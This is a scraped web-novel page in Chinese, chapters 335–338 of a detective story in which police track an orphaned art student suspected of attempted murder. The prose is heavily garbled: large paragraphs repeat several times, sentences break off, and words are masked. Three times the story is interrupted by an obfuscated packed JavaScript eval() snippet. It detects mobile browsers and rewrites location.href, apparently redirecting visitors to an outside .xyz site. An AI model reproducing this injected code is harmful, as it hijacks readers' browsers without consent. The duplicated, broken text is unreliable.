那有没有可能,是跟焦名扬有关系呢? 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 那有没有可能,是跟焦名扬有关系呢? 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 那有没有可能,是跟焦名扬有关系呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028403|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 那有没有可能,是跟焦名扬有关系呢? 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 那有没有可能,是跟焦名扬有关系呢? 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 出国了?还是会在其他什么地方?” “应该没带出国,送人了吧。”王老师说:“这里又是刻刀又是锤子的,也不好上飞机啊,应该是送人了。这一套工具买起来也挺贵,他在班上有关系不错,家庭条件不太好的,说不定就送了。” 安暖突然拍了拍楚隽的肩膀。 她突然有一个想法。 在这起案子里,一直有个人从未进入大家的视线。 到底是谁要杀向浩然。 这个人跟焦雨花肯定是有关系的,但是找不到。 那有没有可能,是跟焦名扬有关系呢? 焦雨花已经**三年了,根据家里人的回忆,她没有照过相。 这个人用钉子钉在墙上吓唬向浩然的巨幅相片,是哪里来的? 而且,这很危险。 虽然京市有不少照相馆,但这是开门做生意可查的。洗照片不是随便自己家就能做到的。想要洗巨幅照片就更不可能偷偷摸摸。 他在照相馆洗那么大一张照片,就不怕被人怀疑,暴露自己吗? 除非,他用的根本就不是照片。 而是一张画。 焦雨花的肖像画。 能画出惟妙惟肖一张肖像画的,可不是一般人。 这个人一定是专业的。 安暖在这一瞬间感觉自己终于找到了方向。 第335章 这个班 从王老师家出来,还带走了一个王老师。 虽然王老师现在已经没有在学校任教,不再是个老师了,但他对当地的学校,特别是美术专业的,非常了解。 有他带路,总好过于他们自己还得去联系。 王老师天天在家里也没什么事情,闲着也是闲着,听楚隽说,想要让他帮忙,欣然应允。 楚隽和安暖,年轻斯文长得好,说话客客气气的,安暖还欣赏他的茶,很得老爷子的喜欢。 他即是读书人,又是搞艺术的,多少有些文艺范儿在骨子里。 虽然村子里的人对他也很友善,但友善归友善,没什么共同语言也是真的。要不然的话,也不会指点焦名扬。 上车,出了村子。 楚隽说:“王老师,您陪我们去学校找一趟人,不管找到没找到,一会儿我请您吃饭,然后送您回来。” “不用不用。”王老师爽快说:“协助警方,那是我应该做的。不过你有车,方便,一会儿送我去公交站就行,都出来了,我去我儿子家转转。” “行,我送您过去。” 楚隽说。 他刚才跟王老师聊天的时候,大概也聊了。王老师的儿子家住的不远,送一趟耽误不了多少时间,这种事情,他是周到细心的。 很快,就到了焦名扬所在的学校。 是一所很一般的学校。 对于焦名扬能在这个学校里学美术,当时听着消息,众人都挺惊讶的。 艺术的专业和别的专业比起来,可是很费钱的。 学费贵,购买的各种材料也贵。 而且毕业以后,就业的去处相对于别的专业来说,选择性也窄一些。 怎么说呢,家里条件好的,那绝对可以。 特别是女生,就像是之前喜欢楚隽的那个姑娘,学的就是音乐。大学毕业之后,就去了国外知名的音乐学院深造。 别管深造得怎么样,反正镀一层金回来。 穿得美美哒,长得美美哒,往钢琴前面一坐,特别高贵。 父母也特别有面子。 门当户对的人家,也会觉得这是个特别高贵的儿媳妇。 他们不讲究实用性。 但普通人家的孩子,学这样的专业,真是要了一家子命了,真是要砸锅卖铁了。 不过也由此可见,焦家对这个儿子有多宠溺。 王老师在美术圈子里,是小有名气的,他很顺利的带着楚隽和楚隽进了学校。 三年前 ,焦名扬是大一学生。 三年过去了,如果他没有出国,现在是大四。 如果这个凶手是焦名扬的同学,现在很大的可能,依然在这个学校里上学。 见王老师来了,美术系的副主任迎了过来。 虽然不知道有什么事情,但肯定要好好接待。 王老师说:“刘主任,不是我要找你。我是带人过来的。” 刘主任的目光,落在了楚隽身上。 楚隽拿出证件。 王老师心里有数,这一次过来,他是受欢迎的。下一次肯定就不受欢迎来,谁也不喜欢来找麻烦的人。 现在,他就是那个来找麻烦的人。 不过他不在乎。 刘主任看了看楚隽的证件,客气的伸出手来:“楚队长,您好。” “您好。”楚隽说:“我们这次过来,是想要找一个人。” “您说。” 楚隽说:“您知道焦名扬吗?” 刘主任都不用想便道:“知道。不过他大一下学期就出国了,没有回来过。咱们学校能出国深造的人,一年也没几个,所以我印象特别深刻。” “我想看看他们班的人员名单。” 刘主任懵懵懂懂的,还是请楚隽跟他走。 到了档案室,找了找,抱出一摞子档案。 “这就是焦名扬他们班的所有人了。”刘主任说:“一共是二十五个,其中有两个中途退了学。” 档案一次排开。 这二十五个人里,有十五个女生,是个男生。 退学的两个,一男一女。 安暖先看了两个退学的。 “刘主任,他们是因为什么退学的?” “哦,一个是身体问题,生了病,大三的时候退学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034505|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。还有一个是家庭出了变故,承担不起了,所以退学了。挺可惜的,但是也没有办法。” 二十五个人的档案一字排开的时候,安暖突然意识到一件事情。 在这件事情里,她有些先入为主地认为凶手是男性。但其实没有任何证据证明这一点。 这二十五个,包括退学的两个,都有嫌疑。 楚隽道:“这些人里,有没有和焦名扬关系好的?” 这一问,就把刘主任问住了。 学生和学生之间的关系,当老师的也不是特别清楚。何况都已经是三年前的事情了。 “我也不清楚,可能要去问一下他们班上的同学才行。” 刘主任想得简单。 但是楚隽说:“先不着急。” 这个凶手,很有可能就在其中。 画一副巨大的人像,这人像要画得很好,很真实,至少让向浩然一眼就能看出来是焦雨花。 这是需要一定的水平的,可不是随随便便就能画出来。 凶手的专业水平是相当不错的。 他不但很可能还在学校,而且,可能是学习很好的那一波。 刘主任看着楚隽。 你说不急就不急。 你说咋办就咋办。 楚隽道:“我先看一下这些档案,然后可能要刘主任帮忙,把我挑出来的人,单独喊来问话。” 刘主任一口应着:“没问题。” 楚隽和安暖商议了一下。 这些学生的档案上,有比较详细的资料。 姓名年龄这些是肯定的,还有家庭住址,本地人不多,大部分是外地的。 家庭状况,家里有几口人,父母是做什么工作的,兄弟姐妹有几个,等等。 这年代上大学是件大事,学校管理的很严格。对学生的家庭情况,也是有要求的。 楚隽道:“这些学生,都是住校的吗?” “是,都住校。”刘主任说:“不过,有些本地的,家住得近,会经常回家。家在外地的,那肯定是住校,寒暑假回家。有些人为了省钱,寒暑假也不回,在城里找个临时工给自己赚学费。” 第336章 福利院孤儿 不管什么年代都是一样的。 没钱的人家,懂事的孩子,寒暑假周末去打工赚点生活费学费。 有钱的孩子,寒暑假出去旅游长见识,逛博物馆,和朋友吃饭逛街聚会。 对,说的就是楚隽,当年他就是这样过来的。 而且不住校,住校不自在。 他都快忘了这一茬了,在学校门口,还有个房子呢。 这个凶手,之前和焦名扬走得近,如今,很可能在勤工俭学。 所以才能第一时间知道向浩然要结婚的事情。 条件不好。 如果他有钱,有更多的,更好的办法对付一个人。 将所有档案都看了一遍,楚隽说:“先不着急叫谁,我想你去班上调查一下,这些学生这些年兼职的情况。今年,有哪些学生,在什么地方兼职。之前,也都问一下。他们都住在宿舍里,这个应该是瞒不住的。” 刘主任应着:“行,这好办。” 楚隽叮嘱他:“找个合理的理由,不要让他们起了疑心。” 楚隽这刑警队长的身份,找上门来十有**没有好事。 不是受害者,就是嫌疑人。 所以刘主任根本没敢问为什么。 有一句老话是这么说的,知道的越多,死得越快。 刑警队长都出马了,说不定是个大案,还是配合就好。 “我知道,这个我有经验。”刘主任一口应着。 也不知道刘主任找了什么理由,不过二十分钟就回来了,拿回来一摞子纸。 如果一个一个地问,那肯定要很长时间。但是一起问,就不费事了。 刘主任给了一人一张纸,让班上的学生把自己大学四年的兼职经历都写出来。 要具体到,什么兼职,多少钱,在什么地方,干了多长时间。 他对外的解释,是学校要进行实践活动。 至于为什么实践活动要搜集这些信息,他没有解释,也没有人问。 学校经常有些奇奇怪怪的活动,于是大家就一点儿都不奇怪了。 楚隽立刻拿过了调查记录。 一看,立刻道:“安暖。” 这声音稍微有一点激动。 在一名叫乜建元的学生的兼职记录上,赫然写着一家星月大楼的名字。 这家大楼三楼有一家美术展馆,他在这家美术展馆里做讲解员。 周六周日,是这家美术展馆人流最多的时候,也就是这两天,需要兼职。 乜建元每周去两天,每次六个小时。 酬劳还可以,比上不足比下有余,但因为这是专业相关的事情,所以还是不错的。 楚隽说:“向家的公司办公室,就在星月大楼。四到六楼。” 之前他们考虑到了,凶手之所以能那么准确地知道向浩然结婚的消息,可能是和筹备婚礼的酒店或者婚庆人员有关系,如今看来,不是这么回事。 向家要办订婚宴,要办婚礼,这种事情,向浩然父亲身边的人一定知道,在公司内部,也不是秘密。 这个乜建元,在向家公司楼下兼职,每周都去。 有时候晚上还会加班整理布置会场。 他如果有这个心,只要跟向家公司里的前台也罢,保洁也罢,不管跟什么人打好关系,都能轻易得到这样一个不算是机密的消息。 “这个乜建元,刘主任和我说说他的详细情况。他的家庭地址写的是本地,但没有写具体地址,这是为什么?” 其他人的家庭地址,都是具体到哪个区哪一片,哪个巷子门牌号码的。 刘主任解释说:“是这样的,这位乜建元同学,确实是没有家。” “没有家?那他平时住哪里?” “寝室啊。寒暑假也住在寝室。” 楚隽觉得刘主任是不是有点没转过弯。 “那在这之前呢?”楚隽只好直白点:“在没上学之前,他住在哪里?总不能睡大街吧?” 一个人,总有来处。 刘主任叹了口气:“他没有父母,也没有家,是孤儿院长大的。在上大学之前,都是住在孤儿院里的。现在上学了,有寝室了,孤儿院的房间也有限,所以就一直住在学校。” “孤儿院?”楚隽皱眉道:“这个专业这么费钱,孤儿院的孩子,他哪儿来的钱交学费?” “有好心人赞助。”刘主任说:“他从小就喜欢画画,有这方面的天赋。在孤儿院的时候,也喜欢画画。有个老板去孤儿院里送温暖,看见了他画的画,很欣赏。于是就资助了他,让他在大学里,继续学习。” “那他的成绩如何?” “很不错,特别是人物肖像,画得非常好,有自己的独特风格,很有前途。要是不出意外的话,会留校任教。” 刘主任说:“而且这孩子是知恩图报的,也发奋。虽然有人资助他的学费生活费,可是他一点儿都不浪费,也不偷懒,你看他这上面记录的,从入学开始,只要有时间,他都会去做兼职赚钱。” 安暖扯了 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034506|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 扯楚隽的袖子。 这个乜建元,不是人物肖像画的好吗? 完全可以拿几幅他以前的作品,去给向浩然看看。 一个人的风格很多时候都是有特色而固定的,就像是字迹一样,不管你怎么刻意改变,还是能看出相似的轨迹。 不过向浩然当时是惊魂一瞥,又没有这方面专业知识,他未必认得出来。 楚隽点了点头。 这好办。 管他认出认不出,认认再说,万一呢。 至于这个乜建元,嫌疑很大了。 “对了。”楚隽道:“他之前在哪个福利院?” “四方村。”刘主任道:“就在东边……不知道您去过没有。” 安暖狠狠地激动了。 就连在一边听着的王老师都激动了。 四方村啊,那怎么不知道呢,就在焦雨花家不远的地方,紧挨着的村子。 开车十分钟,骑自行车二十分钟,走路走快点,也就是半个小时。 这年代的人都习惯了走路,半个小时的路,也就是三公里,根本就不算什么,属于很近的范围。 “刘主任。”楚隽果断道:“你把这个乜建元叫过来,我找他。” “好。”刘主任起身道:“我这就去叫他。” 第337章 跑了 刘主任去找乜建元了,大家在办公室里等着。 等了一会儿,刘主任慌慌张张地回来了。 “不好了,不好了。刘主任刚推开门,人还没进来,声音先进来了。 “怎么回事? 楚隽一下子站了起来。 他有一种不祥的预感。 难道是乜建元跑了。 这个乜建元有这么敏锐吗?莫非是刚才刘主任问话的时候,没有注意方式方法,做了什么让他怀疑的事情? 刘主任看来跑得很急,扶着门框大喘了两口气,这才说:“乜建元不见了。 楚隽在心里骂了一句人。 “怎么不见了,具体说说。 从刚才刘主任出门到现在,中间没有听见下课铃声响起,所以,乜建元为什么突然跑了? “刚才我去找他们填资料的时候,都很正常,没有人表现出不对劲来。刘主任说:“可是刚才我又去,乜建元就不见了。带课老师说,乜建元说自己突然肚子痛,去厕所了。但是我刚才路过厕所看了一下,他不在里面。 而且哪有那么巧合的事情。 肚子早不痛晚不痛,偏偏在这个时候痛。 楚隽先是打了个电话,然后大步走了出去。 要是不出意外,乜建元跑了。 跑了,是坏事,也是好事。 在这个年代,一个已经被人知道长相特征,有照片的人,想要跑,可没那么容易。 隐藏自己一时还可以,一直隐藏,会很辛苦的。 虽然他是在京市犯的事儿,可是跑出去也不行。带着照片的通缉令会传到**,每一个城市,每一个乡镇,每一个村子。 除非一个人能够一直往山里去,躲在深山老林里一辈子,要不然的话,总会被发现。 楚隽不怕他跑。 怕他狗急跳墙。 刘主任连忙跟在楚隽身后。 他现在才是最慌的那个。 虽然不知道乜建元犯的是什么事儿,但刑警队长亲自上门找人,肯定是大事儿。 说不定是**这样的大事儿。 现在乜建元跑了,也不知道跑出学校没有。 要是跑出了学校也就罢了,好歹后面跟学校关系不大。 要是没跑出学校,一个凶手隐藏在学校里。学校有那么多学生,这多可怕。 他要是一时想不开,随手抓几个人,随便给几刀呢? 学校招生本来也不容易,名气在京市也很一般 ,要是再出个**案,那学校就完蛋了。明年能不能办下去都是未知。 楚隽一边往外走,一边吩咐:“让学校所有的保安,身强力壮的老师,几人一组,在学校巡查。前后门都关上,看牢。这么短的时间,乜建元很可能还在学校里。 楚隽已经给局里打了电话,招人过来支援。 但是需要时间,在刑警队的人没来之前,只能靠学校自己了。 刘主任应着,一路小跑跟在楚隽身边。 实在是忍不住了,终于问道:“楚队长,我能问问这个乜建元到底做了什么事情吗? 都到了这个时候,楚隽也没有必要瞒着了。 “**未遂。 未遂,是因为向浩然命大,不是对方手下留情。 而且,这一次是未遂,下一次呢。 如果乜建元杀向浩然是为了焦雨花,那等他知道真相,知道焦雨花不是被向浩然杀的之后,他一定会转移目标。 到时候焦雨花一家人,怕是一个都跑不掉。 如果焦名扬是杀死焦雨花的真凶,那他当然要给她偿命。但这不是让乜建元行凶的理由。 焦雨花的父母,袒护凶手,也要负刑事责任。但罪不至死。 刘主任听见**两个字的时候,就觉得眼前一黑。 但是莫名又不是特别震惊。 怎么说呢,大概是刚才楚隽查资料的时候气场太强大,气压太低,他已经把最坏的结果都想了一遍。 **,这个可能性也是想过的。 何况又加了未遂两个字。 那就是没杀成。 顿时就感觉没有那么严重了。 如今严重的,是怕他再**。 楚隽到了乜建元班上。 课自然就暂停了,没人知道发生了什么。 楚隽走上讲台。 “你 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楚隽道:“乜建元,如果要出很长时间的远门,有没有一定要去的地方。一定要见的人。” 很多人,是有牵挂的。 乜建元就是这样一个人。 他虽然敢**,却是一个重感情的人。 要不然的话,也不会时隔三年,还要杀向浩然。 重感情是好事,也是坏事。是优点,也是破绽。 这问题对和乜建元朝夕相对的同学来说,还真不难。 和乜建元一个寝室的一个男生开了口。 “我知道。” “你说。” 男生说:“他要去看他妹妹。” 妹妹? 几人心里都咯噔一声。 这案子里,可不是还有一个和焦雨花年龄相仿的女孩子,一直没有出现吗? 楚隽立刻道:“乜建元的妹妹是什么人,在什么地方。他是个孤儿,哪儿来的妹妹?” 男生说:“是孤儿院的妹妹。” 第338章 车神 乜建元是孤儿院出来的孩子,这在班上不是什么秘密,他也没有刻意地遮掩过。 全班都知道。 大家也还不错,没有很刻薄的同学,抓着这一点做文章,看不起他什么的。都是觉得他很不容易。 同学说:“乜建元的学习在班上是名列前茅的,他压力很大,一直觉得自己学美术是一件奢侈的事情,要是不能做出一番成绩来,对不起资助他的好心人。” 但是这个楚隽目前并不关心。 楚隽说:“你们知道不知道,乜建元的妹妹叫什么名字?” “叫……” 大家想了一下,还是同寝室的男生知道的多一些。 “大名叫什么我不知道,但是小名叫小荷,荷花的荷,我听乜建元叫过。去年,他还给他妹妹画了一幅画做生日礼物,画的就是一片荷花池,然后一个小姑娘站在荷花池边,拿着一朵荷花。” 孤儿院的孩子,有些是有名字的,有些很小送来,没有名字,就让孤儿院的工作人员来起。 他们未必有多高的文化程度,给人起名字起得多了,也难免江郎才尽。 一般是逮着什么叫什么。 姓也是如此。 有些会有一个有纪念价值的姓,比如楚隽就知道,某个福利院的孩子全部姓党。 有一些,纯粹看运气了。 三月份送来的,叫三月,春生,小花。 冬天送来的,叫大雪,小雪,寒生。 乜建元的妹妹,也许送去福利院的时候是夏天,正有满池的荷花。 男生说:“小荷已经被人收养了,不住在福利院了。但具体是被什么人收养,我就不知道了。乜建元偶尔会去看他,但我没去过。” 短期内,想要知道孤儿院一个孩子的去向,是很简单的。 所有的收养都有一套严格的流程要走,每一个进了孤儿院的孩子,都必须对他们负责。 孤儿院会对提出申请要求的人进行调查,人品是否过关,经济条件怎么样,能不能照顾好孩子。 自然要知道他们的家庭地址,工作人员是会上门调查的。 收养之后,在一年内,也会多次上门,突击检查,看看孩子在养父母家是否过得好。 想要收养个孩子去**,去做劳动力,做童养媳什么的,那是不可能的。好心办坏事,那就作孽了。 楚隽看了一眼站在门边的安暖。 安暖立刻明白了,跑回办公司去打电话。 学校里有孤儿院 的电话。 因为学校里,有孤儿院来上学的孩子。这些孩子留下的联系电话,就是孤儿院的。 电话很快打通了,安暖找了孤儿院的领导,说明情况。 很快,乜建元的妹妹小荷现在住的地址就查到了。 安暖还顺便问了一下小荷的情况。 三年前,小荷十一岁。 现在,小荷十四岁。 虽然和焦雨花的年龄不是一模一样,但是差不多。 也瘦,也不高。 孤儿院是一个会养着孩子,让孩子接受教育,让他们有饭吃,有衣服穿的地方。但是没有办法养得太精细。 条件有限,孤儿院里出来的孩子,也都是瘦瘦的。 安暖飞快地记下地址,去找楚隽。 这个地方,很有可能就是乜建元要去的地方。 学校太大了,就算是前门后门都封上了,还有那么长的围墙。 不可能围墙下面五布一人,学校没有那么多人手,也不敢组织学生去搜查一个可能敢**的疑犯。 乜建元想要离开学校,这太容易了。 离开学校之后,他会叫出租车去找小荷。 从学校到小荷现在的家,大概有半个小时的路程。 要经过一截拥堵路段。 出租车也开不快。 他们只有这半个小时的时间,追上对方。 两人带上乜建元的照片之后,匆忙出发。 学校这边多他们俩也没用,先让刘主任安排,警局的支援很快就到。 走到车前,安暖说:“我来开车吧,你昨晚没睡好吧?” “睡得挺好的。” 楚隽虽然这么说,但是没有反对安暖开车。 这些日子的相处,他发现了一件事情。 安暖的车技甚至比他还要好。 而且,擅长开快车,擅长在拥堵的车流中穿过来穿过去,但多少有点急躁。 在被堵着的时候,如果有人超车,插队,或者行人,骑自行车的人挡路,她都有一种立刻就想下车去找人理论的冲动。 当然最后都忍住了,但是忍得很辛苦。 这一发现让他有一段时间甚至想问问安暖,要不要考虑去玩个赛车什么的? 说不定,她天赋异禀,在这方面会有所建树。 